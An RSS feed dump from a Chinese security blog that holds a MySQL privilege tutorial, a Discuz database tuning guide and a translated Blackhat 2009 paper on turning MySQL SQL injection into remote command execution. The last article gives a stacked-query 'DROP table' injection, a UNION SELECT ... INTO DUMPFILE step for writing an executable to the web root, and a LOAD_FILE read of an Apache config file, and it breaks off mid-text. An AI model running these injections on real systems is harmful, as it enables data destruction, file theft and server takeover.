2)通过权限验证，进行权限分配时，按照userdbtables_privcolumns_priv的顺序进行分配。即先检查全局权限表 user，如果user中对应的权限为Y，则此用户对所有数据库的权限都为Y，将不再检查db, tables_priv,columns_priv；如果为N，则到db表中检查此用户对应的具体数据库，并得到db中为Y的权限；如果db中为N，则检 查tables_priv中此数据库对应的具体表，取得表中的权限Y，以此类推。<br />
二．MySQL各种权限（共27个）<br />
（以下操作都是以root身份登陆进行grant授权，以p1@localhost身份登陆执行各种命令。）<br />
<span id="more-1043"></span><br />
1. usage<br />
连接（登陆）权限，建立一个用户，就会自动授予其usage权限（默认授予）。<br />
mysql&gt; grant usage on *.* to ‘p1′@’localhost’ identified by ‘123′;<br />
该权限只能用于数据库登陆，不能执行任何操作；且usage权限不能被回收，也即REVOKE用户并不能删除用户。<br />
2. select<br />
必须有select的权限，才可以使用select table<br />
mysql&gt; grant select on pyt.* to ‘p1′@’localhost’;<br />
mysql&gt; select * from shop;<br />
3. create<br />
必须有create的权限，才可以使用create table<br />
mysql&gt; grant create on pyt.* to ‘p1′@’localhost’;<br />
4. create routine<br />
必须具有create routine的权限，才可以使用{create |alter|drop} {procedure|function}<br />
mysql&gt; grant create routine on pyt.* to ‘p1′@’localhost’;<br />
当授予create routine时，自动授予EXECUTE, ALTER ROUTINE权限给它的创建者：<br />
mysql&gt; show grants for ‘p1′@’localhost’;<br />
+—————————————————————————+<br />
Grants for p1@localhost<br />
+————————————————————————–+<br />
| GRANT USAGE ON *.* TO ‘p1′@’localhost’ IDENTIFIED BY PASSWORD ‘*23AE809DDACAF96AF0FD78ED04B6A265E05AA257′ |<br />
| GRANT SELECT, CREATE, CREATE ROUTINE ON `pyt`.* TO ‘p1′@’localhost’|<br />
| GRANT EXECUTE, ALTER ROUTINE ON PROCEDURE `pyt`.`pro_shop1` TO ‘p1′@’localhost’ |<br />
+————————————————————————————-+<br />
5. create temporary tables(注意这里是tables，不是table)<br />
必须有create temporary tables的权限，才可以使用create temporary tables.<br />
mysql&gt; grant create temporary tables on pyt.* to ‘p1′@’localhost’;<br />
[mysql@mydev ~]$ mysql -h localhost -u p1 -p pyt<br />
mysql&gt; create temporary table tt1(id int);<br />
6. create view<br />
必须有create view的权限，才可以使用create view<br />
mysql&gt; grant create view on pyt.* to ‘p1′@’localhost’;<br />
mysql&gt; create view v_shop as select price from shop;<br />
7. create user<br />
要使用CREATE USER，必须拥有mysql数据库的全局CREATE USER权限，或拥有INSERT权限。<br />
mysql&gt; grant create user on *.* to ‘p1′@’localhost’;<br />
或：mysql&gt; grant insert on *.* to p1@localhost;<br />
8. insert<br />
必须有insert的权限，才可以使用insert into ….. values….<br />
9. alter<br />
必须有alter的权限，才可以使用alter table<br />
alter table shop modify dealer char(15);<br />
10. alter routine<br />
必须具有alter routine的权限，才可以使用{alter |drop} {procedure|function}<br />
mysql&gt;grant alter routine on pyt.* to ‘p1′@’ localhost ‘;<br />
mysql&gt; drop procedure pro_shop;<br />
Query OK, 0 rows affected (0.00 sec)</p>
<p>mysql&gt; revoke alter routine on pyt.* from ‘p1′@’localhost’;<br />
[mysql@mydev ~]$ mysql -h localhost -u p1 -p pyt<br />
mysql&gt; drop procedure pro_shop;<br />
ERROR 1370 (42000): alter routine command denied to user ‘p1′@’localhost’ for routine ‘pyt.pro_shop’<br />
11. update<br />
必须有update的权限，才可以使用update table<br />
mysql&gt; update shop set price=3.5 where article=0001 and dealer=’A’;<br />
12. delete<br />
必须有delete的权限，才可以使用delete from ….where….(删除表中的记录)<br />
13. drop<br />
必须有drop的权限，才可以使用drop database db_name; drop table tab_name;<br />
drop view vi_name; drop index in_name;<br />
14. show database<br />
通过show database只能看到你拥有的某些权限的数据库，除非你拥有全局SHOW DATABASES权限。<br />
对于p1@localhost用户来说，没有对mysql数据库的权限，所以以此身份登陆查询时，无法看到mysql数据库：<br />
mysql&gt; show databases;<br />
+——————–+<br />
| Database |<br />
+——————–+<br />
| information_schema|<br />
| pyt |<br />
| test |<br />
+——————–+<br />
15. show view<br />
必须拥有show view权限，才能执行show create view。<br />
mysql&gt; grant show view on pyt.* to p1@localhost;<br />
mysql&gt; show create view v_shop;<br />
16. index<br />
必须拥有index权限，才能执行[create |drop] index<br />
mysql&gt; grant index on pyt.* to p1@localhost;<br />
mysql&gt; create index ix_shop on shop(article);<br />
mysql&gt; drop index ix_shop on shop;<br />
17. excute<br />
执行存在的Functions,Procedures<br />
mysql&gt; call pro_shop1(0001,@a)；<br />
+———+<br />
| article |<br />
+———+<br />
| 0001 |<br />
| 0001 |<br />
+———+<br />
mysql&gt; select @a;<br />
+——+<br />
| @a |<br />
+——+<br />
| 2 |<br />
+——+<br />
18. lock tables<br />
必须拥有lock tables权限，才可以使用lock tables<br />
mysql&gt; grant lock tables on pyt.* to p1@localhost;<br />
mysql&gt; lock tables a1 read;<br />
mysql&gt; unlock tables;<br />
19. references<br />
有了REFERENCES权限，用户就可以将其它表的一个字段作为某一个表的外键约束。<br />
20. reload<br />
必须拥有reload权限，才可以执行flush [tables | logs | privileges]<br />
mysql&gt; grant reload on pyt.* to p1@localhost;<br />
ERROR 1221 (HY000): Incorrect usage of DB GRANT and GLOBAL PRIVILEGES<br />
mysql&gt; grant reload on *.* to ‘p1′@’localhost’;<br />
Query OK, 0 rows affected (0.00 sec)<br />
mysql&gt; flush tables;<br />
21. replication client<br />
拥有此权限可以查询master server、slave server状态。<br />
mysql&gt; show master status;<br />
ERROR 1227 (42000): Access denied; you need the SUPER,REPLICATION CLIENT privilege for this operation<br />
mysql&gt; grant Replication client on *.* to p1@localhost;<br />
或：mysql&gt; grant super on *.* to p1@localhost;<br />
mysql&gt; show master status;<br />
+——————+———-+————–+——————+<br />
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |<br />
+——————+———-+————–+——————+<br />
| mysql-bin.000006 | 2111 | | |<br />
+——————+———-+————–+——————+<br />
mysql&gt; show slave status;<br />
22. replication slave<br />
拥有此权限可以查看从服务器，从主服务器读取二进制日志。<br />
mysql&gt; show slave hosts;<br />
ERROR 1227 (42000): Access denied; you need the REPLICATION SLAVE privilege for this operation<br />
mysql&gt; show binlog events;<br />
ERROR 1227 (42000): Access denied; you need the REPLICATION SLAVE privilege for this operation<br />
mysql&gt; grant replication slave on *.* to p1@localhost;<br />
mysql&gt; show slave hosts;<br />
Empty set (0.00 sec)<br />
mysql&gt;show binlog events;<br />
+—————+——-+—————-+———–+————-+————–+<br />
| Log_name | Pos | Event_type | Server_id| End_log_pos|Info | +—————+——-+————–+———–+————-+—————+<br />
| mysql-bin.000005 | 4 | Format_desc | 1 | 98 | Server ver: 5.0.77-log, Binlog ver: 4 | |mysql-bin.000005|98|Query|1|197|use `mysql`; create table a1(i int)engine=myisam|<br />
……………………………………<br />
23. Shutdown<br />
关闭MySQL：<br />
[mysql@mydev ~]$ mysqladmin shutdown<br />
重新连接：<br />
[mysql@mydev ~]$ mysql<br />
ERROR 2002 (HY000): Can’t connect to local MySQL server through socket ‘/tmp/mysql.sock’ (2)<br />
[mysql@mydev ~]$ cd /u01/mysql/bin<br />
[mysql@mydev bin]$ ./mysqld_safe &amp;<br />
[mysql@mydev bin]$ mysql<br />
24. grant option<br />
拥有grant option，就可以将自己拥有的权限授予其他用户（仅限于自己已经拥有的权限）<br />
mysql&gt; grant Grant option on pyt.* to p1@localhost;<br />
mysql&gt; grant select on pyt.* to p2@localhost;<br />
25. file<br />
拥有file权限才可以执行 select ..into outfile和load data infile…操作，但是不要把file, process, super权限授予管理员以外的账号，这样存在严重的安全隐患。<br />
mysql&gt; grant file on *.* to p1@localhost;<br />
mysql&gt; load data infile ‘/home/mysql/pet.txt’ into table pet;<br />
26. super<br />
这个权限允许用户终止任何查询；修改全局变量的SET语句；使用CHANGE MASTER，PURGE MASTER LOGS。<br />
mysql&gt; grant super on *.* to p1@localhost;<br />
mysql&gt; purge master logs before ‘mysql-bin.000006′;<br />
27. process<br />
通过这个权限，用户可以执行SHOW PROCESSLIST和KILL命令。默认情况下，每个用户都可以执行SHOW PROCESSLIST命令，但是只能查询本用户的进程。<br />
mysql&gt; show processlist;<br />
+—-+——+———–+——+———+——+——-+——————+<br />
| Id | User | Host | db | Command | Time | State | Info |<br />
+—-+——+———–+——+———+——+——-+——————+<br />
| 12 | p1 | localhost | pyt | Query | 0 | NULL | show processlist |<br />
+—-+——+———–+——+———+——+——-+——————+<br />
另外，<br />
管理权限（如 super， process， file等）不能够指定某个数据库，on后面必须跟*.*<br />
mysql&gt; grant super on pyt.* to p1@localhost;<br />
ERROR 1221 (HY000): Incorrect usage of DB GRANT and GLOBAL PRIVILEGES<br />
mysql&gt; grant super on *.* to p1@localhost;<br />
Query OK, 0 rows affected (0.01 sec)<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1085.html" title="SQL Server系统表的作用 安全检查列表 SQL Server的用户及权限">SQL Server系统表的作用 安全检查列表 SQL Server的用户及权限</a></li>
<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
<li><a href="http://www.4shell.org/archives/1040.html" title="MySQL优化 之 Discuz论坛优化">MySQL优化 之 Discuz论坛优化</a></li>
<li><a href="http://www.4shell.org/archives/991.html" title="高级Mysql攻击技术(翻译blackhat 2009文章)">高级Mysql攻击技术(翻译blackhat 2009文章)</a></li>
<li><a href="http://www.4shell.org/archives/395.html" title="关于Windows的权限和一些安全问题">关于Windows的权限和一些安全问题</a></li>
<li><a href="http://www.4shell.org/archives/386.html" title="MySQLhack">MySQLhack</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1043.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL优化 之 Discuz论坛优化</title>
		<link>http://www.4shell.org/archives/1040.html</link>
		<comments>http://www.4shell.org/archives/1040.html#comments</comments>
		<pubDate>Sun, 23 Aug 2009 17:41:10 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1040.html</guid>
		<description><![CDATA[discuz是很不错的论坛，大站用他的话还得有针对性的优化下mysql，转载开始。 作/译者：叶金荣，来源：http://imysql.cn，转载请注明作/译者和出处，并且不能用于商业用途，违者必究。 一. 前言 近日由于需要,对discuz论坛(简称dz)进行优化,当然了,只是涉及到数据库的优化. 先说一下服务器及dz的数据量,2 * Intel(R) Xeon(TM) CPU 2.40GHz, 4GB mem, SCISC硬盘. MySQL 版本为 4.0.23. 数据表情况: cdb_attachments 2万 cdb_members 10万 cdb_posts 68万 cdb_threads 7万 二. 缓存优化 在 my.cnf 中添加/修改以下选项: #取消文件系统的外部锁 skip-locking #不进行域名反解析,注意由此带来的权限/授权问题 skip-name-resolve #索引缓存,根据内存大小而定,如果是独立的db服务器,可以设置高达80%的内存总量 key_buffer = 512M #连接排队列表总数 back_log = 200 max_allowed_packet = 2M #打开表缓存总数,可以避免频繁的打开数据表产生的开销 table_cache = 512 #每个线程排序所需的缓冲 sort_buffer_size = 4M #每个线程读取索引所需的缓冲 [...]]]></description>
			<content:encoded><![CDATA[<p><span>discuz是很不错的论坛，大站用他的话还得有针对性的优化下mysql，转载开始。</span></p>
<p><span><span id="more-2711"> </span></span></p>
<p><span>作/译者：叶金荣，来源：<a href="http://imysql.cn/">http://imysql.cn</a>，转载请注明作/译者和出处，并且不能用于商业用途，违者必究。</span></p>
<p>一. 前言<br />
近日由于需要,对discuz论坛(简称dz)进行优化,当然了,只是涉及到数据库的优化.<br />
先说一下服务器及dz的数据量,2 * Intel(R) Xeon(TM) CPU 2.40GHz, 4GB mem, SCISC硬盘.<br />
MySQL 版本为 4.0.23. 数据表情况:<br />
cdb_attachments 2万<br />
cdb_members 10万<br />
cdb_posts 68万<br />
cdb_threads 7万<br />
二. 缓存优化<br />
在 my.cnf 中添加/修改以下选项:<br />
<span id="more-1040"></span></p>
<pre> #取消文件系统的外部锁
skip-locking
#不进行域名反解析,注意由此带来的权限/授权问题
skip-name-resolve
#索引缓存,根据内存大小而定,如果是独立的db服务器,可以设置高达80%的内存总量
key_buffer = 512M
#连接排队列表总数
back_log = 200
max_allowed_packet = 2M
#打开表缓存总数,可以避免频繁的打开数据表产生的开销
table_cache = 512
#每个线程排序所需的缓冲
sort_buffer_size = 4M
#每个线程读取索引所需的缓冲
read_buffer_size = 4M
#MyISAM表发生变化时重新排序所需的缓冲
myisam_sort_buffer_size = 64M
#缓存可重用的线程数
thread_cache = 128
#查询结果缓存
query_cache_size = 128M
#设置超时时间,能避免长连接
set-variable = wait_timeout=60
#最大并发线程数,cpu数量*2
thread_concurrency = 4
#记录慢查询,然后对慢查询一一优化
log-slow-queries = slow.log
long_query_time = 1
#关闭不需要的表类型,如果你需要,就不要加上这个
skip-bdb</pre>
<p>以上参数根据各自服务器的配置差异进行调整,仅作为参考.<br />
三. 索引优化<br />
上面提到了,已经开启了慢查询,那么接下来就要对慢查询进行逐个优化了.<br />
1. 搜索优化<br />
搜索的查询SQL大致如下:</p>
<pre> SELECT t.* FROM cdb_posts p, cdb_threads t WHERE
t.fid IN ('37', '45', '4', '6', '17', '41', '28', '32', '31', '1', '42')
AND p.tid=t.tid AND p.author LIKE 'JoansWin'
GROUP BY t.tid ORDER BY lastpost DESC LIMIT 0, 80;</pre>
<p>用 EXPLAIN 分析的结果如下:</p>
<pre> mysql&gt;EXPLAIN  SELECT t.* FROM cdb_posts p, cdb_threads t WHERE
t.fid IN ('37', '45', '4', '6', '17', '41', '28', '32', '31', '1', '42')
AND p.tid=t.tid AND p.author LIKE 'JoansWin'
GROUP BY t.tid ORDER BY lastpost DESC LIMIT 0, 80;
+-----------+------------+----------+--------------+-------------+-----------+-------------+
| id | select_type | table | type  | possible_keys | key  | key_len | ref         | rows  | Extra
+-----------+------------+----------+--------------+-------------+-----------+-------------+
|  1 | SIMPLE      | t     | range | PRIMARY,fid   | fid  | 2       | NULL        | 66160 | Using where;
Using temporary; Using filesort |
|  1 | SIMPLE      | p     | ref   | tid           | tid  | 3       | Forum.t.tid   |    10 | Using where
| +----+-------------+-------+-------+---------------+------+---------+-------------+-------+
---------</pre>
<p>只用到了 <code>t.fid</code> 和 <code>p.tid</code>,而 <code>p.author</code> 则没有索引可用,总共需要扫描<br />
<code>66160*10 = 661600 </code>次索引,够夸张吧 :(<br />
再分析 <code>cdb_threads</code> 和 <code>cdb_posts</code> 的索引情况:</p>
<pre> mysql&gt;show index from cdb_posts;
+-----------+------------+----------+--------------+-------------+-----------+----------
---+----------+--------+------+--+
| Table     | Non_unique | Key_name | Seq_in_index | Column_name | Collation | Cardinality | Sub_part |
Packed | Null | Index_type | Comment | +-----------+------------+----------+--------------+----
---------+-----------+-------------+----------+--------+------+--+
| cdb_posts |          0 | PRIMARY  |            1 | pid         | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | fid      |            1 | fid         | A         |          10 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | tid      |            1 | tid         | A         |       68011 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | tid      |            2 | dateline    | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
| cdb_posts |          1 | dateline |            1 | dateline    | A         |      680114 |     NULL | NULL   |
| BTREE      |         |
+-----------+------------+----------+--------------+-------------+-----------+---</pre>
<p>以及</p>
<pre> mysql&gt;show index from cdb_threads;
+-----------+------------+----------+--------------+-------------+-----------+-------------+
----------+--------+------+-----+
| Table       | Non_unique | Key_name  | Seq_in_index | Column_name | Collation | Cardinality | Sub_part |
Packed | Null | Index_type | Comment | +-----------+------------+----------+--------------+-----
--------+-----------+-------------+----------+--------+------+-----+
| cdb_threads |          0 | PRIMARY   |            1 | tid         | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            1 | topped      | A         |           4 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            2 | lastpost    | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | lastpost  |            3 | fid         | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | replies   |            1 | replies     | A         |         233 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | dateline  |            1 | dateline    | A         |       68480 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | fid       |            1 | fid         | A         |          10 |     NULL | NULL   |
| BTREE      |         |
| cdb_threads |          1 | enablehot |            1 | enablehot   | A         |           2 |     NULL | NULL   |
| BTREE      |         | +-------------+------------+-----------+--------------+-------------+------</pre>
<p>看到索引 <code>fid</code> 和 <code>enablehot</code> 基数太小,看来该索引完全没必要,不过,对于fid基数较大的情况,则可能需要保留&gt;该索引.<br />
所做修改如下:</p>
<pre> ALTER TABLE `cdb_threads` DROP INDEX `enablehot`, DROP INDEX `fid`, ADD INDEX (`fid`, `lastpost`);
ALTER TABLE `cdb_posts` DROP INDEX `fid`, ADD INDEX (`author`(10));
OPTIMIZE TABLE `cdb_posts`;
OPTIMIZE TABLE `cdb_threads`;</pre>
<p>在这里, <code>p.author</code> 字段我设定的部分索引长度是 10, 是我经过分析后得出来的结果,不同的系统,这里的长度也不同,最好自己先取一下平均值,然后再适当调整.<br />
现在,再来执行一次上面的慢查询,发现时间已经从 6s 变成 0.19s,提高了 30 倍.<br />
这次先到这里,下次继续 ^_^</p>
<p>很早以前写过一个文章，是关于discuz论坛的优化：<a href="http://baoz.net/node/181">MySQL优化 之 Discuz论坛优化</a>。 写的时候是2006年，没想到过了这么久，discuz论坛的问题还是困扰着很多网友，其实从各论坛里看到的问题总结出来，很关键的一点都是因为没有将数 据表引擎转成InnoDB导致的，discuz在并发稍微高一点的环境下就表现的非常糟糕，产生大量的锁等待，这时候如果把数据表引擎改成InnoDB的 话，我相信会好很多。这次就写个扫盲贴吧。</p>
<p>1. 启用innodb引擎，并配置相关参数</p>
<pre>#skip-innodb
innodb_additional_mem_pool_size = 16M #一般16M也够了，可以适当调整下
innodb_buffer_pool_size = 6G #如果是专用db的话，一般是内存总量的80%
innodb_data_file_path = ibdata1:1024M:autoextend
innodb_file_io_threads = 4
innodb_thread_concurrency = 20
innodb_flush_log_at_trx_commit = 1
innodb_log_buffer_size = 16M
innodb_log_file_size = 256M
innodb_log_files_in_group = 3
innodb_max_dirty_pages_pct = 50
innodb_lock_wait_timeout = 120
innodb_file_per_table</pre>
<p>2. 修改表引擎为innodb</p>
<pre>mysql&gt; alter table cdb_access engine = innodb;</pre>
<p>其他表类似上面，把表名换一下即可…<br />
将表存储引擎改成innodb后，不仅可以避免大量的锁等待，还可以提升查询的效率，因为innodb会把data和index都放在buffer pool中，效率更高。<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1766.html" title="Mysql另类盲注中的一些技巧">Mysql另类盲注中的一些技巧</a></li>
<li><a href="http://www.4shell.org/archives/1745.html" title="MySQL监控快速指南">MySQL监控快速指南</a></li>
<li><a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li>
<li><a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li>
<li><a href="http://www.4shell.org/archives/1464.html" title="discuz!7.1、7.2远程代码执行漏洞exploit">discuz!7.1、7.2远程代码执行漏洞exploit</a></li>
<li><a href="http://www.4shell.org/archives/1173.html" title="MySQL安装详细图解">MySQL安装详细图解</a></li>
<li><a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li>
<li><a href="http://www.4shell.org/archives/1156.html" title="MySQL导入数据库文件最大限制2048KB的修改解决办法">MySQL导入数据库文件最大限制2048KB的修改解决办法</a></li>
<li><a href="http://www.4shell.org/archives/1086.html" title="Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability">Discuz! Plugin JiangHu <= 1.1 Sql injection Vulnerability</a></li>
<li><a href="http://www.4shell.org/archives/1083.html" title="MySQL数据库安全配置指南">MySQL数据库安全配置指南</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1040.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>高级Mysql攻击技术(翻译blackhat 2009文章)</title>
		<link>http://www.4shell.org/archives/991.html</link>
		<comments>http://www.4shell.org/archives/991.html#comments</comments>
		<pubDate>Mon, 03 Aug 2009 02:19:47 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/991.html</guid>
		<description><![CDATA[来源:cnbird blog:http://blog.csdn.net/cnbird2008 1.简介(文章中的堆查询其实就是联查) 这个文章主要描述怎样再LAMP和WAMP平台上实施远程命令执行代码通过SQL注入漏洞。攻击者再Mysql平台上进行SQL注入必须处理一 些限制和约束。例如,在一个不流行的平台中进行远程命令执行漏洞的一些查询语句缺乏复杂的声明,相对其他平台来说。再最近的这 些年一些人开始仔细研究,这些人专注于利用SQL注入漏洞进行随心所欲的代码执行漏洞。然而，这些类型的攻击集中在支持堆查询 DBMS连接上。这个文档将会解释怎么使用不同的方法去完成那些不支持堆查询的DBMS连接,并且得到跟支持堆查询的DBMS相同的结果 。 2.描述 SQL注入漏洞是把恶意代码注入到正常的SQL查询中的一种攻击方式.SQL注入攻击允许恶意的用户去得到数据库的结构和挖掘出宝贵的 应用操作系统环境。 运行命令执行漏洞已经被证实了是最高级别的恶意用户去获得成功的SQL注入攻击行为。 Mysql是在LAMP和WAMP上最流行的数据库服务器软件套件。DBMS连接默认是不支持堆查询。这就使得一些技术去实施远程代码执行漏 洞的条件是在某些平台需要支持堆查询。 3.堆查询 堆查询是一个去定义是否数据库连接层某个时刻能运行多于一个的查询语句。每个查询用分号分隔开。 下面的就是再SQL注入攻击中的一个堆查询的例子 SELECT name FROM record WHERE id = 1; DROP table record; DROP table address-- 在上面的例子中，在同一时刻这里有三个分离的查询请求。第一个查询是来自现实中应用程序的正常查询。这个查询允许进行数据库 查询，然而当堆查询默认进入Mysql-php应用,一个错误信息将会被应用程序返回，同时没有任何语句被执行。 4.攻击应用程序上不支持Mysql堆查询的方法 已经被发现的Mysql UDF(User Define Function)库创建技术,它能被用在支持堆查询的应用上进行远程代码命令执行漏洞。这个技术 已经再数据库黑客大曝光做了详细解释。 在Blackhat 2009欧洲大会上,Bernando Damele解释了相似的技术。下面的步骤来自于它的whitepaper 1)创建一个字段的表，数据类型是longblob 2)把本地文件的内容进行对等的16进制的转换。 3)切分16进制的字符串到1024字符长的大块 4)INSERT 第一个大块进支持表的字段里面 5)UPDATE其他的大的块添加到这个表的字段里面 6)导出表中的字段中的16进制的文件的内容到一个指定的目标文件路径,使用的方法是SELECT's INTO DUMPFILE.再Mysql上这个是可 以实现的，一个查询例如SELECT 0x41将会返回ASCII字母编码A。 这里有一些环境去实施这个堆查询 1) [...]]]></description>
			<content:encoded><![CDATA[<p>来源:cnbird</p>
<p>blog:http://blog.csdn.net/cnbird2008</p>
<p>1.简介(文章中的堆查询其实就是联查)<br />
这个文章主要描述怎样再LAMP和WAMP平台上实施远程命令执行代码通过SQL注入漏洞。攻击者再Mysql平台上进行SQL注入必须处理一</p>
<p>些限制和约束。例如,在一个不流行的平台中进行远程命令执行漏洞的一些查询语句缺乏复杂的声明,相对其他平台来说。再最近的这</p>
<p>些年一些人开始仔细研究,这些人专注于利用SQL注入漏洞进行随心所欲的代码执行漏洞。然而，这些类型的攻击集中在支持堆查询</p>
<p>DBMS连接上。这个文档将会解释怎么使用不同的方法去完成那些不支持堆查询的DBMS连接,并且得到跟支持堆查询的DBMS相同的结果</p>
<p>。</p>
<p>2.描述<br />
SQL注入漏洞是把恶意代码注入到正常的SQL查询中的一种攻击方式.SQL注入攻击允许恶意的用户去得到数据库的结构和挖掘出宝贵的</p>
<p>应用操作系统环境。<br />
运行命令执行漏洞已经被证实了是最高级别的恶意用户去获得成功的SQL注入攻击行为。<br />
Mysql是在LAMP和WAMP上最流行的数据库服务器软件套件。DBMS连接默认是不支持堆查询。这就使得一些技术去实施远程代码执行漏</p>
<p>洞的条件是在某些平台需要支持堆查询。</p>
<p>3.堆查询<br />
堆查询是一个去定义是否数据库连接层某个时刻能运行多于一个的查询语句。每个查询用分号分隔开。<br />
下面的就是再SQL注入攻击中的一个堆查询的例子<br />
SELECT name FROM record WHERE id = 1; DROP table record; DROP table address--</p>
<p>在上面的例子中，在同一时刻这里有三个分离的查询请求。第一个查询是来自现实中应用程序的正常查询。这个查询允许进行数据库</p>
<p>查询，然而当堆查询默认进入Mysql-php应用,一个错误信息将会被应用程序返回，同时没有任何语句被执行。</p>
<p><span id="more-991"></span></p>
<p>4.攻击应用程序上不支持Mysql堆查询的方法<br />
已经被发现的Mysql UDF(User Define Function)库创建技术,它能被用在支持堆查询的应用上进行远程代码命令执行漏洞。这个技术</p>
<p>已经再数据库黑客大曝光做了详细解释。</p>
<p>在Blackhat 2009欧洲大会上,Bernando Damele解释了相似的技术。下面的步骤来自于它的whitepaper<br />
1)创建一个字段的表，数据类型是longblob<br />
2)把本地文件的内容进行对等的16进制的转换。<br />
3)切分16进制的字符串到1024字符长的大块<br />
4)INSERT 第一个大块进支持表的字段里面<br />
5)UPDATE其他的大的块添加到这个表的字段里面<br />
6)导出表中的字段中的16进制的文件的内容到一个指定的目标文件路径,使用的方法是SELECT's INTO DUMPFILE.再Mysql上这个是可</p>
<p>以实现的，一个查询例如SELECT 0x41将会返回ASCII字母编码A。</p>
<p>这里有一些环境去实施这个堆查询<br />
1) DBMS连接必须支持堆查询<br />
2) Session用户必须有FILE,INSERT,CREATE和UPDATE权限<br />
3)再一些低于Mysql 5.1.19的版本中，工项目路径必须对于Session用户可写。<br />
4)再高于Mysql 5.1.19的版本上，系统变量plugin_dir必须存在并且对于Session用户可写。</p>
<p>现在大家已经知道了这个技术有一些限制，默认的,作为mysql用户启动的Linux Mysql共享库的路径是不可写的。</p>
<p>然而这个特性并不适合于windows。默认windows的Mysql运行账户是Local System，也就是说文件可以被用户创建到任何文件夹。最</p>
<p>新的Mysql版本，系统变量plugin_dir已经不存在了,这个目录可以创建同时可以被Session用户写入。</p>
<p>5.攻击Mysql不支持堆查询的方法</p>
<p>由于再Mysql-PHP平台上不支持堆查询，运行另外一个查询再正常的语句后是不可能的。然而运行另外一个SELECT查询是可以使用</p>
<p>UNION语法的。UNION语法是合并多个SELECT查询到一个单独的结果中。</p>
<p>Mysql 5.1的官方手册(省略自己去官方看SELECTG语法)</p>
<p>从上面可以看到我们可以通过UNION SELECT使用SELECT INTO DUMPFILE去把可执行的文件上传到数据库服务器上。当注入这个查询的</p>
<p>时候，只有唯一的语句可以创建全部的文件。同样的，这个文件不能被另外一个SELECT INTO DUMPFILE语句覆盖掉。</p>
<p>来自Mysql官方文档<br />
Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However,the entire UNION result is written to the</p>
<p>file.)<br />
由于UNION查询的特定，数据将会写入到文件中。<br />
例如<br />
SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO DUMPFILE ‘file’</p>
<p>第一个查询返回任何数据，这个数据将会覆盖文件头部。预防这个的方法就是，我们可以再WHERE字段插入任何不存在的值所以没有</p>
<p>数据从这个查询冲被取出。<br />
这个文件可以被运行再WEB目录里面,在这个例子里面DBMS连接不支持堆查询，所以最好的方法是上传文件到Apache WEB server目录</p>
<p>，然而这个只可能再mysql数据库和WEB SERVER再同一个机器上。PHP脚本可以运行SYSTEM函数。同样的这个技术也有一些限制:<br />
1)必须知道Apache的WEB SERVER目录<br />
2)Session用户必须有FILE权限<br />
3)Session用户可以访问上传到WEB SERVER服务器的目录的文件。<br />
自己补充一个4) GPC为off</p>
<p>6.WEB服务器目录的指纹<br />
在一些实例中WEB服务器的主目录不是默认安装的目录,指纹获取可以被用于获取这个信息，这里主要有2个方式去找到WEB服务器目录</p>
<p>的指纹。主要是通过应用程序返回的错误信息可以得到这个指纹。</p>
<p>6.1通过错误信息方法或者指纹<br />
默认的PHP关闭了错误信息。这里有多种方法去返回包含WEB服务器目录的错误信息。例如，再SQL语句部分输入一个单引号，错误信</p>
<p>息就暴露出来了。下面有一个使用'出错的例子<br />
Fatal error: Call to a member function execute() on a non-object in /var/www/output.php<br />
on line 15<br />
6.2通过LOAD_FILE方式获得指纹<br />
LOAD_FILE可以去读取数据库服务器上的文件。去使用这个过程，Session用户必须有文件权限。这个文件同时对于所有用户可取同时</p>
<p>文件的大小必须要小于Apache配置文件中的max_allowd_packet的大小。再Apache配置文件中DocumentRoot指令包含了Apache WEB服</p>
<p>务器的主目录。</p>
<p>这里有一个用LOAD_FILE去读APACHE配置文件的例子，默认安装的Ubuntu Linux<br />
SELECT LOAD_FILE('/etc/apache2/sites-available/default')</p>
<p>7.最大的恶意代码运行的大小</p>
